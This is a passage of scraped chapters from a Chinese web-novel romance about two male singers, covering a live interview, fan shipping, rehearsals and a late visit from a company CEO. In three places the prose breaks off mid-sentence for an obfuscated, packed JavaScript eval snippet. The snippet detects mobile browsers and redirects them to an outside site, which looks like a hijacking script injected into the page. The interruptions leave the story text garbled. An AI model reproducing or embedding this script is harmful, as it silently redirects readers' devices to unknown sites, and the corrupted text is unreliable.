这安排的这第一期访谈是网络直播的形式,知名作家兼主持人江鸿和杨原野即将开始一场“客厅聊天”。 易卿尘打开电脑,抱膝坐在家里茶几前,准时调好节目,紧盯着面前屏幕里那个英俊的青年。 他虽然刻意回避这位“人夫”过于热情的日常互动,可心里却不能不惦记他。 窗外是天鹅绒一样的深蓝,有颗星子拨开厚云,如坠人间。 采访开始,江鸿一上来就打趣地恭维:“杨原野,你知道自己现在在歌坛的地位吗?基本相当于韩寒在文学界。” 杨原野颇感意外,继而狡黠一笑:“不准确。我觉得应该相当于韩一鸣在文学界。” 江鸿疑惑:“韩一鸣是谁?” 杨原野慢悠悠地说:“我同学,初中就在作文里写出了‘司马迁屡遭宫刑’的名句。” 易卿尘忍不住笑出了声,随手抓过一只柔软靠枕抱在怀里,又把电脑拉得离自己更近一些。 杨原野和江鸿聊了这些年他的经历,他说得举重若轻,什么销售医药器材的话术,如何在合租房抢厕所,还有去哪儿买二手摩托车配件。 他没说不公平,也没说辛苦,只说“这些我都试了一遍。” 后来聊到音乐,江鸿好奇地问:“你最喜欢的歌手是谁?” 杨原野想了想,说:“Bob Dylan吧,毕竟没得过诺奖的摇滚老炮儿不是个好诗人。” “答案在风中飘?”江鸿引用Bob的著名歌词。 杨原野点点头:“答案在风中飘。” “那么,对你音乐创作影响最大的也是Bob Dylan吧?”江鸿推测道。 杨原野顿了顿,微微侧身抬起目光径直看向镜头,十分认真地回答: “不。是易卿尘。” 啊…… 易卿尘吓了一跳,没想到自己突然被Q。他哪里能跟Bob Dylan比?杨原野他想干嘛? 看着镜头前那双深邃动情的眼睛,易卿尘紧张地又开始用手指搓衣角。 江鸿听罢眼睛一亮:“哦?为什么是易卿尘?你们俩的音乐风格可完全不一样啊!” 杨原野收回视线,转头看向江鸿,拖着长音说道:“因为——是易卿尘逼我这么说的。” “……”江鸿反应了一秒钟,接着哈哈大笑:“你们果然是老朋友,关系真好!” 杨原野淡笑着耸了耸肩。 一时间,#野尘CP#的弹幕像是打翻的可乐,气泡四溢,瞬间覆盖了整个频幕。 易卿尘的脸颊红成了一颗小蜜桃,使劲咬着唇,对着面前的抱枕duangduang就是两记铁拳,“混球,我要杀了你!” 不过真别说,易卿尘突然想起来了,这话确实是他曾经要求杨原野这么说的…… 他还记得,那是四年前的京北,《Mr. Y》出版发行前一天,他们从查干湖回来之后的一个月? 唯物主义无神论者杨原野被易卿尘硬拉了来雍和宫烧香拜佛,因为这一行讲究点儿玄学。 进了主殿,单檐歇山顶,前出廊、后出厦,开间七楹。殿额“雍和宫”用满、汉、藏、蒙四体写成,周围环绕金色蟠龙木雕。殿内主供“燃灯”、“释迦”、“弥勒”,总称三世佛。 他们俩走进去,学着别人的样子,对着掌管“过去”、“现在”、“未来”的佛祖们三跪九叩。 拜完佛,易卿尘又要去“法物流通处”捐香油钱。杨原野不想去,就站在门口等。 不一会儿,易卿尘兴冲冲地跑出来,握着拳头,喜笑颜开。 “阿野你看!这是什么?” 易卿尘摊开手,掌心里一枚小小的谷粒,杨原野凑近了才看清楚,不解地问道:“这是啥?mini瓜子?” “不是!这是寺里的小沙弥给我的。佛家不是讲究三六九嘛,我刚捐了九十九块钱,可他们没有一块钱找零。小师傅就从兜里掏出来这个给我了。” 易卿尘说那小沙弥不过十五六岁的样子,却有着两颗深深的酒窝,笑眼弯弯,带一些天然的矛盾感。不知为何,“和尚”似乎和“酒窝”是一对反义词。 “这玩意儿值一块钱?”杨原野不屑地问。 易卿尘笑着说:“何止啊,小师傅说这是喜鹊衔到寺里,昨夜留在他窗前的,像是一颗鲜花种子,是个好彩头,会保佑我们得偿所愿。” “易卿尘,你傻不傻?”杨原野瞪大眼睛,“别人说什么你都信,你活这么大没被拐卖了真是个奇迹。” 他怎么会不信,他什么都信。因为这祈愿和杨原野有关,易卿尘一下子变成了一个唯心主义者,可易卿尘不会告诉杨原野。 他白了他一眼,说:“你少在佛祖面前口出狂言,快跟我走!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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《中国唱作人》前两期一经播出,便迅速火爆出圈。易卿尘的两首歌曲clip,外加纯享版总点击量名列前茅,直逼人气王段朗星。 野尘CP粉惊喜地发现,《半程旅伴》的词、曲、编曲、混音,全是易卿尘和杨原野两个人的名字。 [哇,真CP就是粮多!] [看小情侣心照不宣的秀恩爱。(吃粮标记)] [你们说~~这歌是不是一边做,一边做的?[狗头][偷笑]] [汪汪,楼上说的对,我作证,我当时就在床底] [+1,我也在。床摇了一宿,我们尘宝后来都晕床了] [+1,我也在床底,尘宝都哭啦(面红耳赤)~~~~hhh~~~] 误点进来的除了唯粉之外,还有易卿尘。 他发现,原来#野尘CP#这个话题四年前就存在了。只是那时的留言和转发量都是个位数,杨原野和江鸿的采访过后,话题直接被引爆。 老粉们掏出来一桌子的“过期糖”,和新粉们娓娓道来:“你们真是少见多怪,咱们两个崽崽根本一直都是小情侣啊!” [建议大家去翻翻《Mr.Y》专辑,能找出一首没有尘宝身影的歌曲算我输。] [我好闺蜜说和尘宝一个胡同,四年前就见过两个崽崽牵手去小卖部。大家都知道,好兄弟是不需要牵手的。] [尊嘟假嘟?好刺激啊!!太下饭了。] [嗐,俩人其实早就同居了,一天晚上好几次,我就住他们隔壁,撒谎是狗。] 易卿尘一脑门黑线:呃……不要造黄谣,好吗? 54.054 心虚 [原野星尘超话]在微博迅速崛起,#野尘CP粉们磕着过期糖,纷纷开始起底两人几年前合作的痕迹,创作欲望爆棚。 小作文一篇篇,情节跌宕起伏,强制爱,带球跑,应有尽有,看得人心惊肉跳; Q版漫画小剧场更是具象,白色衣服的小人儿戴着猫耳朵,铃铛项圈,衣衫半褪,伸出一只莹白的脚丫,勾上对方的裤腰…… 更别提那些二创小视频了,车速飞起,弄得人心黄黄。 用户“好不容易”先是关注了[原野星尘超话],过了几秒钟又迅速取关。 易卿尘羞红了脸,端起桌上的冰水咕嘟咕嘟猛灌,不知道这些粉丝怎么还@他来看。是想让他不小心留下浏览痕迹吗?或者他不辟谣就等于默认? 他自己倒是无所谓,但杨原野可是有家有口的人呀!这些血脉喷张的东西,让人好想报警。 呃。头痛。 “博博呢?”易卿尘抬眼找了一圈,对着《唱作人》节目组的孟副导演问道。 “他下楼去接人了。你先做妆造,有什么事儿我帮你?” 易卿尘觉得孟副导演可能也有这方面的经验,于是问道:“孟导,有没有什么办法能把一个超话给停了?” 孟导一脸好奇:“那个超话违法乱纪了?” 易卿尘转了转眼睛:“那倒没有。只是我不喜欢。” “……某浪是你家开的?” 易卿尘:“。” 博博下楼去接吴芷静,出了电梯间往停车场走,一个拐弯,一名中年光头大叔低头不看路,直直地撞在博博身上,“唉呦”一声,大叔手中的几张文件四散在地上。 博博赶忙扶住大叔,俯身去捡文件。未免文件上是什么重要的信息,博博特意将每张纸背面朝上,全收齐了,恭恭敬敬地交还给光头大叔。 这时,吴芷静也从停车场走了出来,见到光头大叔,脚上一顿。 “师父!!!” 姬波张开宽阔的双臂迎上去,二人亲切友好地拥抱。 “小静儿啊,这么巧?” 博博立在一旁,见证这场重逢。吴芷静跟博博介绍道:“这是姬哥,我入行时的师父。” “师父好!”博博标准九十度鞠躬。 姬波拍着博博的肩膀笑得豪爽。 三人一边往电梯走一边聊。 吴芷静:“师父你这次出山,是为了杨原野?” 姬波点点头:“是啊,今天他第一次彩排,我得过来看看。” “他现在可是堪比顶流了。我还纳闷儿,是谁这么好的手段,原来是师父你呀!难怪呢。” 哪里是他,分明是杨原野心上人的手笔。 “呵呵,对了小静儿,我正想找你呢。我想问你借个人,给小野当助理,我这边儿一时半会儿招不来合适的新人,你帮师父个忙?” “行啊,好说!师父需要个什么样的?” 姬波看着一旁低眉顺眼的博博,说:“这个小伙子就很好。有眼力见儿,看这体格也有劲儿。” 吴芷静笑着看着博博,戏谑说:“陈博,静姐觉得你最近工作严重不饱和,给你加个人,如何?” 博博旁听了全程,知道是给杨原野找助理,他自然愿意,于是忙不迭地点头:“保证完成任务。” “师父你放心,陈博做事靠谱,现在给易卿尘做助理就做得很好,正好小易也在上《唱作人》节目。我们肯定能把杨原野一并照顾好。不过你得单独每月给我们小助理包红包哦~” 姬波一愣,都忘了下电梯:“等会儿,你说谁?他现在是谁的助理?” “易卿尘,他也是个歌手,怎么了?” “……” 姬波当然知道易卿尘是个歌手,一副好嗓子,只要开口叫两声,他家小野的裤腰带就快系不上。怎么这么寸,偏偏是易卿尘的助理。 吴芷静疑惑地看着姬波,姬波略显尴尬,唇瓣碰了碰,干笑两声,说:“没事儿,挺好。” 姬波现在后悔也晚了,能怎么办?他总不能说:我家艺人馋你家艺人的身子吧。老脸都不要了…… 姬波前几天还严正警告杨原野离易卿尘远一点儿,一转脸,他自己把这小鱼干送到猫儿眼皮底下来了。 简直是在“钓鱼执法”。 说话间,姬波、吴芷静、博博三人一起来到《中国唱作人》的一号大化妆间。 推门进去,只见杨原野抱着吉他坐在沙发里,嘴角含笑,一双眼睛直勾勾地盯着前面,“眨眼反射”在他这里失灵了。 面前是一个青年的后脑勺,通过镜子反射可以看见Tony老师正在给他做造型。 “易老师~”随着博博亲切的一声呼唤,镜前的人回过头,看向门口。 姬波倒抽了一口凉气。 这是他第一次见到易卿尘本人。再看沙发里杨原野痴迷的眼神,姬波心中叹道: “美色误国啊,美色误国。” 杨原野作为踢馆歌手正式加入了《中国唱作人》,彩排、录影、真人秀,这下易卿尘休想再躲他。 一早在化妆间截住了易卿尘,那人还想借口买咖啡往外跑,杨原野追出去直接把人堵在墙角。 “我得罪你了?” 易卿尘推了一下他的胸口,愣是一点儿没推动,人反而还压得更紧了些,弄得他心慌,生怕给人看见,又是一篇3000字小黄文。 “没。快放开我。” “没得罪你,你干嘛躲着我?”杨原野不依不饶。 “我哪有?” “你看都不敢看我,还说没有。” 他有那么心虚吗?说来说去,还不是怪杨原野,手脚不老实,还在采访里乱讲话,害得他没法不胡思乱想。 就比如现在,他脑子里就浮现出粉丝画的一幅漫画,他被解开衬衣壁咚,嘴巴吮吸着某人的大拇指,口水沿着指根流下来…… “啊——”易卿尘突然的一嗓子,给杨原野吓了一跳。 “怎么了你?” 易卿尘脸红脖子粗,咬牙切齿地扭头看向杨原野:“我哪里不敢看你了,再说,我看你干嘛?你有什么好看?眼睛里有花吗?” “有你。”杨原野淡定地说。 啊,救命。他要怎么跟这样的人一起工作…… “易卿尘,你是不是喜欢我?”杨原野问道。 废话,当然喜欢了,但打死我都不会承认的。我还要脸。 易卿尘眼神飘向远方:“少臭美了你。” “那你再躲我,我就当你暗恋我。” “……” 这人真是逻辑鬼才。“你真自恋,我是最近太忙了,外加天天各地跑,累的,有空就想睡觉。” “哦,那你现在要干嘛去?” “去厕所。” “正好,一起去。” “我又不想去了。” “你暗恋我。” “……” 不懂得保持距离的帅哥真的让人头痛。 - 这次要彩排的是《中国唱作人》的第五期节目,也是补位唱作人加入后的第一期,这场会淘汰两人。 节目的开场,六位晋级歌手将共同演唱新作的节目主题曲《少数人走的路》。这首主题曲是几位歌手共同创作完成的,主打一个“意想不到”。 段朗星cosplay搞二次元,江琳达挑战舞台剧风格的高音,孙维微唱粤语,向荣大哥要和小鲜肉舞团一起唱跳,沈世豪会唱易卿尘写的戏腔儿,而易卿尘则被分到演唱沈世豪创作的rap。 每个人都为别人创作,彰显自己的风格。总之,要让观众意外连连,颅内高潮迭起。 杨原野和另一位歌手作为踢馆歌手,这次会最后出场,分别演唱自己的成名曲作为亮相。 杨原野的彩排是在《少数人走的路》之后单独进行。 时隔多年,杨原野重又站到聚光灯下。怀里是他的马丁吉他,身后是业界一流的乐队,李达理站在台边冲他微笑,熟悉的前奏响起。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12938740|131022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 一瞬间,仿佛时光接壤,中间断掉的四年光阴被折叠,天意为针、琴弦作线,他破裂的梦想竟被一针一线地缝合了起来。 杨原野把这些年的感悟都唱进了这首老歌里,高低起伏,磅礴浑然。一曲过后,总导演骆佳滨、李达理还有几位执行音乐监制、副导演都不自觉地站起身来,为他鼓掌。 “欢迎回归歌坛,杨原野。”骆佳滨迎上去,拍拍他的肩膀。看到这样澎湃的高水平演绎,骆导对下一期的收视率充满了信心。 “小野,手还OK吗?”李达理关切地问道。 杨原野张开右手手掌,压了压,轻松地说:“问题不大。” “嗯,我看也是,弹得很好,没听出来毛病。”李达理笑道。 右手的贯穿伤并不太影响他的手部机能,除了弹琴太久会手筋紧绷隐隐作痛之外。那些都是可以克服的,哪个男人没受过伤、留过疤呢? 以往他每每看见这道疤,就想起易卿尘是如何绝情地抛弃他,想起垦丁的大雨,心情也跟着潮湿了起来。 可不知什么时候开始,杨原野再看见这道疤,心中的难过已经被另一种说不清道不明的情绪覆盖了。他暗暗觉得这是独属于“易卿尘的伤疤”,被易卿尘抚摸过,心疼过的伤口,也就不再疼了。 彩排结束,博博已经在通道口等着杨原野,贴心地给他披了一件外套。 “小野哥,咱们走吧,去吃饭。” “你们易老师也在吗?”杨原野问。 “在的。” 现在易卿尘和杨原野因为共用助理的缘故,好多事儿都顺理成章地一起做,比如吃饭。 杨原野没太想明白姬波为什么找来博博给他当助理,难道是为了考验他坐怀不乱的意志力吗? 姬波真是多虑了。易卿尘这个人看着柔软,其实心里很有主意,犟得很,还恐同,哪里会主动来勾搭自己? 杨原野一声短叹。要不是四年前他别有居心,死皮赖脸地算计来了那一夜,估计这辈子也没机会。 不知道易卿尘的脑子怎么就那么保守死板。 基督教明文禁止同性恋,可现在国外的教堂也可以为同性恋办婚礼,在法院登记结婚早就合法化,彩虹旗飘遍七大洲。娱乐圈里的gay更是多如过江之鲫,某些细分领域甚至不弯都不主流。 杨原野越想越气闷,一会儿见着易卿尘本人,定要找茬呛他几句,给他洗洗脑。 推开休息室的门,里面异常安静,博博和杨原野走了进去。 只见沙发前的茶几上,摆着四五盒菜,盒盖都是关着的。从空气中的香味和便当盒下面的红油判断,应该是川菜。 桌面上只有一小盒凉面是打开着的,却也没有动过,旁边是一只擎着筷子的手,绵软地搭着,筷子随时要从那水葱白玉般的手指上滑下去。 易卿尘就这样一手拿着筷子、靠在沙发上睡着了。 博博正要走近叫醒他,便被杨原野拦住了,随即做了个噤声的手势,博博心领神会,关门退了出去。 杨原野轻轻地把筷子从易卿尘拇指和食指中间抽了出来,又静悄悄坐进身旁的位子里,脱下外套盖在了易卿尘的身上。 他凑近了些观察他。 易卿尘的呼吸均匀地起伏,眉头微蹙着,好像在做梦。 他的鼻尖上沾了一根睫毛,睫毛又黑又长,带着漂亮的弧度,勾得杨原野心痒痒。忍不住用手一蹭,那根睫毛就转移到了他的指尖。 易卿尘似有所感,从鼻腔溢出一声哼音,很轻很柔,下巴在盖着的外套领口上蹭了下,跳过这错乱的一拍,又恢复了呼吸绵长的节奏。 此刻的易卿尘,像是睡在古城午后温暖青石阶上的小白狗,是大年初一早晨充满鞭炮味道的空旷街道,是小时候别人总比自己多一朵的小红花……是一切美好的梦想。 杨原野看得入迷,嘴唇不受控制地挨了上去,轻啄在易卿尘的鼻尖。那温热的触觉从嘴巴传到脑子,眼前慢慢慢慢浮出两个字——“宝贝。” 55.055 双标 宝贝。 杨原野的一颗心被那两个字填得满满的,温柔关不住,从眼睛里跑出来。在躁动的小兽出笼之前,他赶快别过头去,强行转移注意力。 一旁放着几张纸,杨原野拿起来看了一眼,是易卿尘被分到的rap歌词。好长的一段,全是英文,上面有些单词旁还有易卿尘标注的音标和中文释义。 杨原野想到易卿尘唱rap就觉得非常滑稽,他漫不经心地读着歌词,视线却忽然停在其中一个单词上——“Chink”。 在这个单词旁,易卿尘手写标注“裂缝”,然后打了个问号,估计是觉得语义不通。 这词本身确实有“裂缝”的意思,可是后来被引申为“小而斜的窄眼”、“中国佬”的意思。19世纪末,中国移民被视为对美国白人的威胁,美国通过了排华法案,Chink一词便流行了起来。至今仍有很多种族主义者会用这个字眼。 杨原野大二的时候在美国当交换生读了半年书,他知道Chink是一个种族性的侮辱用语,有一次还因为这个单词跟一个白人同学差点儿翻脸。 沈世豪在洛杉矶生活多年,不可能不知道。 杨原野又看了一遍那个句子:Chink rises in the east, they’re afraid of me, cause I''m the best. 嗯……如果非要说是讽刺现实主义,那讽刺的到底是谁?Chink?还是无端惧怕Chink的人?可以预见地,这一定会引发很多争议。 而唱这句歌的人则会被千夫所指。大众不爱思考,谁唱就骂谁,鲜少会深挖背后谁才是写词的、编导的。 杨原野拿出手机,对着那张纸拍了张照,之后默默起身,离开了休息室。 一天的工作结束了,博博来接易卿尘收工,还没走到保姆车,就被路过的沈世豪给拦下了。 “Hey bro!” 易卿尘和他对拳,“收工了?” “还没,越到晚上我越兴奋。你这就走了?” “我回去了,上学的时候喜欢通宵,现在抽空就睡觉。” 沈世豪露出一口白牙,边嚼口香糖边说:“对了,那句歌词我改了,我一会儿把最新的版本发你微信。之前是我的错误,你别介意噢!” 易卿尘愣了一下,没反应过来哪句歌词,不过就是改词,无所谓了,易卿尘笑笑说,“好,没问题。” 道别前,沈世豪抬了抬下巴,问了句:“那个小野,是你朋友?” 易卿尘点了点头。 “He''s a cool guy.”沈世豪打了个响指,“I’ll catch you later!” 易卿尘不明就里,半个身子刚钻进保姆车,看见那个“cool guy”,他怎么会在这里?和他一辆车?公司现在这么穷吗?把保姆车也外包出去了? 易卿尘下意识地扭头就想走,走了两步又觉得不对,这是自己的车啊。 博博立在车门旁,说:“易老师,上车啊!” 易卿尘只好闷着头上车,路过杨原野,坐进了第三排靠窗的座位,对着杨原野的后脑勺。 “易老师,我不是暂时兼职小野哥的助理嘛,陆师傅也得暂时帮我一起接送你们俩。所以如果你们时间差不太多,我就尽量让你们一起走,你不介意吧?” “唔,不介意。”易卿尘望着窗外。 不介意才怪,这不是考验他的自制力吗?Cool guy连背影都这么帅…… “陆师傅,咱们出发吧!先去帝京公馆送易老师。” 博博坐进副驾驶,汽车启动,路旁的风景越来越快地后退。易卿尘一直没说话,专心看窗外。 杨原野侧过头对着窗外,音调提高:“易卿尘,刚才过去那辆大G太帅了,很少见紫色的大G,是吧?” 易卿尘机械地应道:“是啊,确实挺好看的。” 你戴的这款银项链好看,新挑染的靛青色头发更好看。大G……嗯?不知道你在说什么。 杨原野突然整个身子扭过来:“哪里来的紫色大G?你发什么呆呢?还是……你累了?” 易卿尘差点被拆穿,看杨原野递了个台阶,赶紧顺着就下来了:“嗯……今天好累啊。” 杨原野听后,心疼地蹙了蹙眉,抬手拍了下身旁的座位,温声说:“过来坐。” “嗯?” “听话,来。” 杨原野的眼神不容质疑又充满关切,易卿尘和他对视几秒就败下阵来,拿着背包坐进了前排杨原野旁边的座位。 刚坐下,杨原野便伸手捏住了他的后颈,引得他本能地使劲一缩脖子。 “别动,”杨原野按下他的肩膀,一边让他放松一边解释道,“你这样我没法施展。” “施展什么?” “我现在拇指按的这个穴位叫颈百劳,大椎穴直上2寸,按摩这里可以缓解疲劳。” 杨原野用两手的中指指腹揉按着他的后颈,由轻到重,再一下一下减轻力道。 没想到杨原野的手法这么专业,不愧为医学院高材生,难怪沈鹤衣要花钱来找他按摩,果然很舒服。 易卿尘感觉自己的肩颈肌肉微微发热发酸,不一会儿就好像卸下一个背包似地,真的松快了不少。 家里要是有这么一个人就好了,每天晚上躺在床上给他按按后背捏捏肩,绝对能多活好几年。 “哦——啊——” 杨原野顺着颈椎往下,摸到易卿尘肩上一块结节,用了点儿力道,引得他一阵酸爽的娇喘。 博博听见动静,扭着身子往后看,会心一笑。 他的偶像和小野哥感情真好,两个帅哥互助友爱的画面又和谐又养眼。这就是伟大的友谊吧! 他不禁开口感叹:“易老师、小野哥,你们觉得咱们这像不像个送子车?” 易卿尘睁开一只眼睛:“送子车?” 杨原野:“那是啥玩意儿?听着怪恶心的。” 博博哈哈大笑:“不是,不恶心。送子车就是接学生上下学的面包车。我上学那会儿,有那种送子车公司,把住得近的几个小孩儿安排在一辆车上,每天早上一个一个接出来上学,晚上再一个一个送回家。就是‘送子车’!我觉得咱们现在就很像。你刚才就是等易老师放学呢!” 易卿尘和杨原野面面相觑。 “行吧,送子就送子,买一赠一。”杨原野说,“对了,刚才沈世豪跟你们说什么呢?” 易卿尘刚想开口回答,就被博博抢了先:“哦!我听见了,沈世豪说你是个cool gay.” “……”杨原野眼睛瞪得老大,“草,他是怎么看出来我是弯——唔——” 杨原野话没说完,就被易卿尘反手一掌捂住了嘴巴。 “Cool GUY!他说你是个cool GUY。盖。” 易卿尘咬着重音,紧张兮兮,说完还对着杨原野做了个嘴巴拉拉链的手势。 车上人多嘴杂,先不说博博,司机陆师傅毕竟是外人,公开讨论性取向真的不安全。易卿尘很有防范意识,混娱乐圈还是小心为妙。 “好了,差不多了,别按了。”易卿尘把衬衣领口往上拉了拉,叫停了进行中的按摩,略显尴尬。 杨原野以为易卿尘以gay为耻,登时就来了脾气,白天憋屈的那点儿小情绪又翻腾了起来。 他用只有两人能听见的气音问道:“gay怎么了?犯法吗?” 易卿尘先是用手指了指司机陆师傅,又学着杨原野用气音说:“你发什么神经?小点儿声。再说,你又不是。不完全是。” 杨原野咬碎了后槽牙,把气音调到最大声:“我、就、是!” 是个屁,你老婆孩子是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12954028|131022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 石头缝里蹦出来的吗? “你有病。” ……随他吧随他吧,这人好赖不分。易卿尘摆摆手,懒得再理他。 待博博再一回头,差点儿笑出声来。“偶像男神”和“当红顶流”,一个扭头往左看窗外,一个扭头往右装睡觉,俩人气鼓鼓的,座位中间隔了一条马里亚纳海沟,像极了他和高中同桌闹别扭时的样子。 “哎?你俩这是怎么了?来,我给你们放一首歌听听,都开心点儿。” 博博连上手机蓝牙,车载音响传来哥哥张国荣的歌声: “快乐是快乐的方式不只一种 最荣幸是谁都是造物者的光荣 不用闪躲为我喜欢的生活而活 不用粉墨就站在光明的角落 ……” 易卿尘一边听歌一边装睡,手机忽然在口袋里嗡嗡震动。他眯缝着眼睛,掏出手机一看: 【yyy:你怎么不把耳朵关上呢?】 易卿尘一头雾水,侧头觑了眼杨原野,那家伙握着手机,还在那儿假装望窗外。怎么,在看那辆基佬紫的大G吗? 易卿尘打字回他: 【我怎么就不能听哥哥了?】 发完又继续转过头装睡。 【yyy:那你看不看“艾伦秀”?用不用iPhone?使不使用计算机?】 艾伦德詹尼丝是个lesbian,苹果CEO蒂姆库克和计算机之父图灵都是gay。杨原野今天好像不逼他大声喊出“谁gay谁骄傲”誓不罢休。 【易卿尘:LGBT在各领域都有杰出贡献,so?你什么意思?】 【yyy:你不会觉得‘不道德’吗?】 【易卿尘:不会啊。】 这人是抽的什么东南西北风?易卿尘无语了。 【yyy:靠!那你就是一只双标狗。】 【易卿尘:你有病吧?你就只会骂我是狗。】 【yyy:你呢?你就只会对我双标。】 “这歌儿都要把我唱哭了,你们俩……” 博博再一回头,俩人一人抱个手机,一个打完字,另一个打字,明显就是在互发。那架势,键盘都要被按得冒火星子了。 博博又一次想到了他的高中同桌,俩人冷战的时候也这样,不说话,只传条儿。 “咳咳,那个,两位!”博博使劲儿清了清嗓子,二位大明星终于都从手机里抬起眼睛,“明天张师傅的车会空出来,我要不给你们安排两辆车分开行动吧?省得……” 他想说省得你俩吵架,但还是没说出口,改口说:“省得你们还得互相等着,浪费时间。” 车厢内迎来一阵沉默,只有张国荣还在唱。 过了一会儿博博说:“嗯……那,我就当你们默认同意了,我这就给张师傅打电话?” 只听两道声音同时响起,又同时落下:“用不着。” 博博:“噢,那好吧。” 博博转回身,一个人捂嘴偷笑。他这招儿还是跟高中班主任学的,班主任有一天忽然说要调座位,把他和他同桌分开,他急得课间去找老师,刚到办公室门口,就听见他同桌在跟老师说不想换座。俩人当天下午就和好了。 果然,学校是社会的摇篮,人民教师办法多。 透过后视镜看一眼,俩人不吵了,互相看了对方一眼,都蔫儿了。 “易老师,到了。” “到了?真快。”易卿尘悻悻地说。 汽车在帝京公馆的小区门口停下,易卿尘下了车,没分一点目光给他的“同桌”。 易卿尘往前走了几步,一抬头,看见一张熟悉的脸,远远地冲他微笑。 楚言款款地走到易卿尘面前,左手拎着一个精致的袋子,右手摁着个砖红色鹿皮拉杆箱。夕阳从身后照过来,给他的轮廓镶了一道金边。 “小尘,最近还好吗?” 56.056 选择 楚言看起来风尘仆仆,燕麦色的衬衫,袖子却不似平日工整地卷起,肘部几许压死的褶皱随意地堆着。头发被风吹得略略凌乱,比平日放松却仍不失潇洒。 “楚总,您怎么在这儿?”易卿尘吃惊地问,“是来看您父亲吧?” 他想起来楚言曾说过他爸爸住这个小区。 楚言眯起眼睛,上前两步。 “我怎么就教不会你改口呢?不要叫楚总,我听着累。” 易卿尘闻到一阵酒气,抬头又看向楚言的眼睛,那瞳仁润泽略泛潮红。他不禁问道:“言哥你喝酒了?” “嗯,刚从一个饭局出来。”楚言把手里的礼品袋举起来晃了晃,说道,“我有礼物送给你,小尘,要不要请我进去坐坐?可以吗?” 许是酒精的缘故吧,一向成熟沉稳、一丝不苟的人,今日却罕见的情绪外露,显出松弛的醉态。 易卿尘轻声应了下,和楚言两人并肩往小区里走。 不远处,车子停着等红灯,杨原野隔着玻璃窗和夕阳,紧紧盯着那两人远去的背影。 直到易卿尘和楚言消失在帝京公馆正门的艺术喷泉之后。 杨原野低头默默地删除了刚刚打好,还没有发出去的信息。 【yyy:我也不是gay,只是喜欢了你,碰巧你是男人而已。】(已删) 也许,易卿尘不是不能接受男人,只是不能接受他而已。 “博博,换个地址,我不想回家了,去凤台路吧。” “好的,小野哥。” 杨原野闷闷地戴上耳机,靠进座位里。他连吃醋的资格都没有,只能看着。 帝京公馆的房间内,融金的落日透过落地窗洒在高级橡木地板上。 易卿尘去端了杯水给楚言,想他刚喝了那么多酒,应该喝点儿凉的清醒一下,不然万一晕了,睡在他这儿可就麻烦了。 楚言望着面前玻璃杯里的冰块,神情恍惚地笑了笑,又沉默了一会儿,看上去有点儿呆。 易卿尘只当他是喝多了,反应略微迟缓。 楚言慢慢从礼品袋里取出一个流线造型的宽口玻璃杯,透明的玻璃材质中混合了晚霞的橙色和粉色,玻璃中隐约可见一些微小的气泡。 “上次把‘铭心之喙’给你,你说太贵重。这个杯子是我自己做的,不值钱,你没理由不收吧。” “自己做的?”易卿尘没掩饰住的吃惊。 楚言弯起瞳仁,点了点头:“嗯。吹玻璃很费劲儿,烤玻璃又像融化的蜂蜜,在色粉里蘸着糖霜,很好玩儿。当时我就想,下次也带你去玩一玩。” 不知道从什么时候开始,生活中碰到新奇有趣的体验,楚言的第一个念头是,“真好玩,想和小尘再去一次”。 每一个那样的时刻都在提醒着他,他已经越陷越深了。 楚言这几天陪着文化|部的一行人去了景德镇。盛世今年要在影视市场发力,参与制作明年的国庆献礼片,上面的关系必然要打通。 他在景德镇陪着一群五六十岁的领导们一起吃饭喝酒划船看御窑吹玻璃。餐餐顿顿不离酒,他胃病犯了,还是硬撑着坚持了全程。 本来结束行程就可以休息了,可是为了给易卿尘争取主题曲献唱的机会,下了飞机楚言又拉着大家去了他的私人会所,开了十多支他私藏的罗曼尼康帝,忍着胃疼,喝到眼眶湿热。 这些事情,易卿尘自是不必知晓。这本来就是他的本分,如果连给易卿尘争取资源都要邀功,他还算什么男人。 刚送走老家伙们,楚言就赶了过来,没想到在大门口就碰上易卿尘,他觉得有缘分,实打实地感到开心。 “自己做的就是限量版了,最是贵重,我更不能收了。”易卿尘恭敬地将玻璃杯推回到楚言面前。 楚言的笑意渐渐褪去,一张酡红的脸上露出怅然若失的表情。 他的声调愈发低沉,淡淡地问:“小尘,告诉我你喜欢什么。” 易卿尘怔住,他担忧的事情不会是真的发生了吧?抵挡一个魅力四射的酷盖已经让他倍感煎熬了,现在又来一个深情款款的霸总。他最近桃花运着实旺盛。 “……我不知道。言哥,你要不要休息一下?你好像喝多了。” 楚言抬眼看着易卿尘,“你看出我喝多,那你怎么不问我为什么喝酒?去哪儿喝的酒?和谁喝酒?” 易卿尘紧抿着唇线,他凭什么问盛世集团CEO这些问题?更可怕的是,楚言居然希望他问。 如果到现在,易卿尘还不明白楚言的心意,那他就是个十足的傻子。他之前也不是看不出端倪,只是觉得这种事情太科幻,不敢相信罢了。 既然知晓了,就不能揣着明白装糊涂。 